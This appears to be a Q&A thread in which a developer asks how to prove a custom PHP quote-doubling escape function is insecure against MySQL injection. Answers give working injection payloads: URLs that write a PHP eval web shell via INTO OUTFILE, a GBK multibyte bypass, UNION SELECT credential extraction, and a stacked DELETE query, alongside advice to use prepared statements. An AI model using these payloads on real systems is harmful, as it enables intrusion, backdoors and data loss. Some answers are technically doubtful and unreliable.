Found a weak escape function for MySql, how to exploit? - sql

Question

In an application I'm working on I've found a weak escape function to prevent injection. I'm trying to prove this, but I'm having trouble coming up with a simple example.
The escape function works as follows (PHP example).
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
I realize this doesn't deal with values encoded using double quotes ("), but all queries are constructed using single quotes (').
Who can defeat this escape function?
Requirements:
String in queries are always enclosed in quotes.
Double-quotes are never used.
MySQL connection is set to UTF8.
Simple examples:
$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

Answer 1

If you are just replacing ' with '' then you could exploit this by injecting a \' which will turn into a \'' and this will allow you to break out because this gives you a "character literal" single-quote and a real single-quote. However, the replacement of "\\" with "\\\\" negates this attack. The double-single-quote is used to "escape" single quotes for MS-SQL, but this isn't proper for MySQL, but it can work.
The following codes proves that this escape function is safe for all except three conditions. This code permutes though all possible variations of control charters, and testing each one to make sure an error doesn't occur with a single quote encased select statement. This code was tested on MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Vulnerable Condition 1: no quote marks used.
mysql_query("select username from users where id=".escape($_GET['id']));
Exploit:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Vulnerable Condition 2: double quote marks used
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Exploit:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Vulnerable Condition 2: single quotes are used, however an alternative character set is used..
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Exploit:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
The conclusion is to always use mysql_real_escape_string() as the escape routine for MySQL. Parameterized query libraries like pdo and adodb always use mysql_real_escape_string() when connected to a mysql database. addslashes() is FAR BETTER of an escape routine because it takes care of vulnerable condition 2. It should be noted that not even mysql_real_escape_string() will stop condition 1, however a parameterized query library will.

Answer 2

Indeed, in addition you could try something with UNION SELECT
shop.php?productid=322
=>
shop.php?productid=322 UNION SELECT 1,2,3 FROM users WHERE 1;--
To display information from other tables.
Of course you would have to change the table name and the numbers inside the UNION SELECT to match the amount of columns you have. This is a popular way of extracting data like admin user names and passwords.

Answer 3

The escape function doesn't handle multibyte characters. Check http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string to see how to exploit this escape function.
Have fun hacking your database!

Answer 4

How about when dealing with numbers?
shop.php?productid=322
becomes
SELECT * FROM [Products] WHERE productid=322
shop.php?productid=322; delete from products;--
becomes
SELECT * FROM [Products] WHERE productid=322; delete from products;--
(Not all queries are built with single quotes and strings)

Answer 5

Since you are using UTF-8 as the encoding, this could be vulnerable to an overlong UTF-8 sequence. An apostrophe character ('), while normally encoded as 0x27, could be encoded as the overlong sequence 0xc0 0xa7 (URL-encoded: %c0%a7). The escape function would miss this, but MySQL may interpret it in a way that causes a SQL injection.
As others have mentioned, you really need to be using mysql_real_escape_string at minimum (easy fix in your case), which should be handling character encoding and other issues for you. Preferably, switch to using prepared statements.

Answer 6

I've never used PHP, however, can you not use Stored Procedure calls instead of direct SQL statements? It seems like a better defense against SQL injection than trying to use an escape function.
An escape function, however, would be useful against malicious javascript.

Answer 7

how about...
\' or 1=1--
Which should be expanded to:
\'' or 1=1--
So using it for id in the following query...
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
should result in:
$sql = "UPDATE users SET email = '<whatever>' WHERE id = '\'' or 1=1--';